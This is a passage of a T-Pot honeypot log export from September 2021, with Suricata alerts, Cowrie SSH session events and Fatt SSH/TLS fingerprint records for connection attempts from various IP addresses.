"timestamp": "2021-09-20T11:22:09.040396Z", "@timestamp": "2021-09-20T11:22:09.040Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....(.`P..]/..x....r..4..)...."}}	1	\N	\N	alert	\N	\N
28954	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:22:10.978847+03	2021-09-20 14:30:03.500523+03	{"_id": "awbxAnwBvYTbRNuEKDLz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:10.285437+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1610268851460861, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57943, "dest_port": 3389, "timestamp": "2021-09-20T11:22:10.978847Z", "@timestamp": "2021-09-20T11:22:10.978Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28955	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:22:17.608588+03	2021-09-20 14:30:03.502524+03	{"_id": "fAbxAnwBvYTbRNuEQjKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ade7b97131f6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:22:17.608588Z", "@timestamp": "2021-09-20T11:22:17.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28956	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:22:26.206904+03	2021-09-20 14:30:03.503525+03	{"_id": "oAbxAnwBvYTbRNuEYzKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 298482761029664, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50194, "dest_port": 22, "timestamp": "2021-09-20T11:22:26.206904Z", "@timestamp": "2021-09-20T11:22:26.206Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28958	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:26.207093+03	2021-09-20 14:30:03.506524+03	{"_id": "ogbxAnwBvYTbRNuEZDLL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50194, "timestamp": "2021-09-20T11:22:26.207093", "@timestamp": "2021-09-20T11:22:26.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28959	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:22:27.783734+03	2021-09-20 14:30:03.507523+03	{"_id": "sgbxAnwBvYTbRNuEazJk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 40196, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1299, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 658695225863760, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48755, "timestamp": "2021-09-20T11:22:27.783734Z", "@timestamp": "2021-09-20T11:22:27.783Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28960	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:27.835588+03	2021-09-20 14:30:03.508523+03	{"_id": "uAbxAnwBvYTbRNuEbDKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35126, "dest_port": 443, "timestamp": "2021-09-20T11:22:27.835588", "@timestamp": "2021-09-20T11:22:27.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28961	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:22:27.878308+03	2021-09-20 14:30:03.510524+03	{"_id": "uQbxAnwBvYTbRNuEbDKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35126, "timestamp": "2021-09-20T11:22:27.878308", "@timestamp": "2021-09-20T11:22:27.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28962	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:22:28.128289+03	2021-09-20 14:30:03.511524+03	{"_id": "vwbxAnwBvYTbRNuEbTKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "188af9ed9d09", "@version": "1", "duration": 2.08607816696167, "timestamp": "2021-09-20T11:22:28.128289Z", "@timestamp": "2021-09-20T11:22:28.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28963	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:22:29.324697+03	2021-09-20 14:30:03.513523+03	{"_id": "wgbxAnwBvYTbRNuEbzJN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 2070081608820106, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 30621, "dest_port": 22, "timestamp": "2021-09-20T11:22:29.324697Z", "@timestamp": "2021-09-20T11:22:29.324Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28964	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:22:29.324929+03	2021-09-20 14:30:03.514524+03	{"_id": "wwbxAnwBvYTbRNuEcDKG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 30621, "dest_port": 22, "timestamp": "2021-09-20T11:22:29.324929", "@timestamp": "2021-09-20T11:22:29.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28965	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:22:29.057743+03	2021-09-20 14:30:03.516525+03	{"_id": "xQbxAnwBvYTbRNuEcTJ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:30621 (192.168.176.2:22) [session: 87e70149aef1]", "session": "87e70149aef1", "@version": "1", "protocol": "ssh", "src_port": 30621, "dest_port": 22, "timestamp": "2021-09-20T11:22:29.057743Z", "@timestamp": "2021-09-20T11:22:29.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28966	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:22:26.208213+03	2021-09-20 14:30:03.517525+03	{"_id": "owbxAnwBvYTbRNuEZDLL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50194, "dest_port": 22, "timestamp": "2021-09-20T11:22:26.208213", "@timestamp": "2021-09-20T11:22:26.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28967	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:22:26.208867+03	2021-09-20 14:30:03.519523+03	{"_id": "pQbxAnwBvYTbRNuEZTLA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "188af9ed9d09", "@version": "1", "timestamp": "2021-09-20T11:22:26.208867Z", "@timestamp": "2021-09-20T11:22:26.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28969	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:22:26.04153+03	2021-09-20 14:30:03.521524+03	{"_id": "pAbxAnwBvYTbRNuEZTLA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:50194 (192.168.176.2:22) [session: 188af9ed9d09]", "session": "188af9ed9d09", "@version": "1", "protocol": "ssh", "src_port": 50194, "dest_port": 22, "timestamp": "2021-09-20T11:22:26.041530Z", "@timestamp": "2021-09-20T11:22:26.041Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28970	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:22:26.043866+03	2021-09-20 14:30:03.522523+03	{"_id": "pwbxAnwBvYTbRNuEZTLA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "188af9ed9d09", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:22:26.043866Z", "@timestamp": "2021-09-20T11:22:26.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28971	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:22:28.243766+03	2021-09-20 14:30:03.523523+03	{"_id": "swbxAnwBvYTbRNuEazJk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1823, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1298, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1038043917366358, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51481, "timestamp": "2021-09-20T11:22:28.243766Z", "@timestamp": "2021-09-20T11:22:28.243Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28972	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:22:28.355768+03	2021-09-20 14:30:03.525524+03	{"_id": "twbxAnwBvYTbRNuEbDKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35128, "timestamp": "2021-09-20T11:22:28.355768", "@timestamp": "2021-09-20T11:22:28.355Z", "t-pot_ip_ext": "109.199.241.180", 